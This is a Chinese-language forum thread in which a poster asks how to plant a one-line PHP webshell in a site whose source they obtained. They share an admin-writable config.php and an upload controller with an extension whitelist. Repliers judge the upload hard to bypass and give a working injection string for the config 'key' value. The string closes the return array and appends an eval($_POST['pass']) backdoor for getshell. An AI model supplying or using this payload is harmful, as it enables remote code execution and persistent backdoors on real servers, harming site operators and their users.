搞到一套源码不知道怎么 写入一句话 后台上传也绕不过

上面的PHP可以通过后台写入
config.php

<?php
declare (strict_types=1);

return [
    'url' => '可以插入任何脚本数据',
    'pid' => '可以插入任何脚本数据',
    'key' => '可以插入任何脚本数据',
];

下面这个是后台上传源码

Upload.php

<?php
declare(strict_types=1);

namespace App\Controller\Admin\Api;


use App\Controller\Base\API\Manage;
use App\Interceptor\ManageSession;
use App\Util\File;
use Kernel\Annotation\Inject;
use Kernel\Annotation\Interceptor;
use Kernel\Exception\JSONException;

/**
 * Class Upload
 * @package App\Controller\Admin\Api
 */
#[Interceptor(ManageSession::class, Interceptor::TYPE_API)]
class Upload extends Manage
{
    #[Inject]
    private \App\Service\Upload $upload;

    /**
     * 文件上传
     * @return array
     * @throws JSONException
     */
    public function handle(): array
    {
        if (!isset($_FILES['file'])) {
            throw new JSONException("请选择文件");
        }

        $handle = $this->upload->handle($_FILES['file'], BASE_PATH . '/assets/cache/images', ['jpg', 'png', 'jpeg', 'ico', 'gif', 'mp4', 'zip', 'woff', 'woff2', 'ttf', 'otf'], 1024000);
        if (!is_array($handle)) {
            throw new JSONException($handle);
        }

        return $this->json(200, '上传成功', ['path' => '/assets/cache/images/' . $handle['new_name']]);
    }


    /**
     * 获取图像列表
     * @return array
     */
    public function images(): array
    {
        $page = (int)$_POST['page'];
        $limit = (int)$_POST['limit'];


        $path = BASE_PATH . '/assets/cache/images/';

        $list = (array)scandir($path, SCANDIR_SORT_DESCENDING);
        array_splice($list, -2);

        $ext = ['png', 'jpg', 'jpeg', 'ico'];
        foreach ($list as $index => $val) {
            $exp = explode(".", $val);
            if (!in_array(end($exp), $ext)) {
                unset($list[$index]);
            }
        }

        $list = array_values($list);
        $count = count($list);
        $offset = ($page - 1) * $limit;
        $data = array_slice($list, $offset, $limit);
        $json = $this->json(200, "success", $data);
        $json['count'] = $count;
        return $json;
    }
}

求求大哥帮我分析一下 感谢

研究好几天了! 就是绕不过- -

没看到$this->upload->handle定义呢,看参数估计是白名单验证不好绕

既然上面的config.php文件可控,完全可以闭合return来getshell,不用update.php来上传shell

key后面插入
',]&&@eval($_POST['pass']);/*

前面部分闭合return,后面接一句话

楼上说的很对

上传白名单,估计悬,config.php 既然可控,直接闭合就行。

先看下 config 写入,有没有过滤字符。